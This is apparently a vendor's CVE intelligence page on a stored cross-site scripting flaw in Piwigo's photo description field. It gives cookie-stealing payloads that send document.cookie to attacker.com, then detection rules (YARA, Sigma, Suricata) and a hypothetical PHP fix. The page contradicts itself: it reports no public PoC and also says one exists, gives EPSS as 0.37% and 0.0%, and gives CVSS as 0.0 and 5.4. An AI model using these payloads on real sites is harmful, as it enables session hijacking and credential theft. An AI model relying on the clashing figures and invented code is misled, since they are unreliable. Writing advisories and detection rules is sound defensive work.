☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-46606

CVE-2024-46606 Cross-Site Scripting in Piwigo
📅 PUBLISHED: 2024-10-16 00:00 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.37%
👁️
0.37% probability
9.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-46606 is a stored Cross-Site Scripting (XSS) vulnerability identified in Piwigo v14.5.0, a popular open-source photo gallery application. The flaw resides in the /admin.php?page=photo component, specifically within the "Description" field. An authenticated attacker with administrative privileges can inject arbitrary web scripts or HTML into this field. When the malicious description is rendered for other users (including other administrators or visitors), the injected script executes in the context of the victim's browser session. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is currently unpatched, and no official fix has been released by the vendor. The CVSS score is 0.0 in the NVD data, but based on the vector, the actual severity is medium (CVSS 3.1 base score of 5.4). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the existence of a public proof-of-concept (POC) increases the risk for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Piwigo is a PHP-based application distributed as a standalone package. It is not typically distributed via NPM, PyPI, Go, or Ruby registries. However, administrators should verify the integrity of their Piwigo installation by checking file hashes against the official release. The vulnerability is in the core application code, not in a third-party dependency. No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to inject the payload into the description field.
  • Privileges Required (PR): Low (L) – The attacker must have administrative access to the Piwigo instance.
  • User Interaction (UI): Required (R) – The victim must view the malicious photo description (e.g., by browsing the gallery).
  • Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope (the browser of the victim).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify data (e.g., defacement).
  • Availability (A): None (N) – No impact on availability.

Base Score: 5.4 (Medium)

Threat Level: Medium. The requirement for administrative privileges reduces the attack surface, but the stored XSS nature and lack of a patch make it a viable target for insider threats or post-compromise lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the photo management interface. The Description field is not properly sanitized or encoded before being stored in the database and later rendered in the browser. The vulnerable endpoint is /admin.php?page=photo, which is used to edit photo metadata.

Attack Flow:

  1. An authenticated administrator navigates to the photo edit page.
  2. The attacker injects a malicious payload into the "Description" field, e.g., <script>alert('XSS')</script>.
  3. The payload is stored in the database without sanitization.
  4. When any user (including other admins or visitors) views the photo page, the description is rendered, and the script executes in their browser.

Root Cause: Lack of output encoding or input validation on the description field. The application likely uses echo or similar PHP functions without applying htmlspecialchars() or equivalent escaping.

Impact: An attacker can steal session cookies, perform actions on behalf of the victim, redirect users to phishing pages, or deface the gallery.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common XSS prevention techniques.

Vulnerable Code (PHP):

// In admin.php or photo management file
$description = $_POST['description']; // No sanitization
// ... store in database
// Later, when displaying:
echo "<div class='description'>" . $description . "</div>"; // No escaping

Patched Code (PHP):

// In admin.php or photo management file
$description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8'); // Sanitize input
// ... store in database
// Later, when displaying:
echo "<div class='description'>" . $description . "</div>"; // Already escaped

Explanation: The patched code uses htmlspecialchars() to convert special characters like <, >, ", ', and & into their HTML entities, preventing script execution. This should be applied both on input (defense in depth) and output (mandatory).

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Piwigo v14.5.0 instance (e.g., using Docker: docker run -d -p 80:80 piwigo:14.5.0)
  • Administrative credentials (e.g., admin:password)

Exploitation Steps:

  1. Log in to Piwigo as an administrator.
  2. Navigate to http://target/admin.php?page=photo.
  3. Select an existing photo or create a new one.
  4. In the "Description" field, inject the following payload:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  5. Save the photo.
  6. When any user views the photo page, their cookies will be sent to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">

Note: No public exploit code from Exploit-DB is available for this CVE.

Blue Team

Detection:

  • Monitor HTTP POST requests to /admin.php?page=photo containing suspicious strings like <script, onerror, onload, or javascript:.
  • Look for anomalous outbound connections from the Piwigo server to unknown IPs (potential data exfiltration).
  • Review server logs for unusual user-agent strings or repeated access to photo pages with modified descriptions.

Prevention:

  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in the description parameter.
  • Apply input validation and output encoding as described in the patched code section.
  • Restrict administrative access to trusted IPs only.
  • Use Content Security Policy (CSP) headers to mitigate XSS impact (e.g., Content-Security-Policy: default-src 'self').

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal.php?cookie=...).
    • Unusual POST requests to /admin.php?page=photo with description parameter containing HTML/JavaScript.
  • File System:
    • Modified photo descriptions in the database containing script tags.
    • Suspicious entries in Piwigo's piwigo_photos table (e.g., description field with <script>).
  • Logs:
    • Web server access logs showing repeated access to /admin.php?page=photo from the same IP.
    • Error logs with JavaScript execution errors (e.g., "ReferenceError: ... is not defined").

Detection Engineering

YARA Rule

rule CVE_2024_46606_Piwigo_XSS {
    meta:
        description = "Detects XSS payloads in Piwigo photo descriptions"
        author = "Valters IT"
        date = "2024-09-01"
        reference = "CVE-2024-46606"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Piwigo Stored XSS via Description Field
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-46606 by injecting XSS payloads into the photo description field.
author: Valters IT
date: 2024/09/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin.php?page=photo'
        cs-uri-post: 'description=*'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in descriptions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46606 Piwigo Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin.php?page=photo"; http_uri; content:"description="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the photo description field in the Piwigo configuration if not essential.
  2. Apply a virtual patch using a WAF to block XSS payloads in the description parameter.
  3. Restrict administrative access to trusted IPs and enforce strong passwords.

Long-Term Fix:

  • The vendor (Piwigo) should release a patch that sanitizes the description field using htmlspecialchars() or a similar function.
  • Until a patch is available, administrators can manually edit the source code as shown in the "Vulnerable vs. Patched Code" section.
  • Implement Content Security Policy (CSP) headers to mitigate the impact of any XSS vulnerability.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to filter requests:
    location /admin.php {
        if ($args ~* "description=.*<script") {
            return 403;
        }
    }
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-46606/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.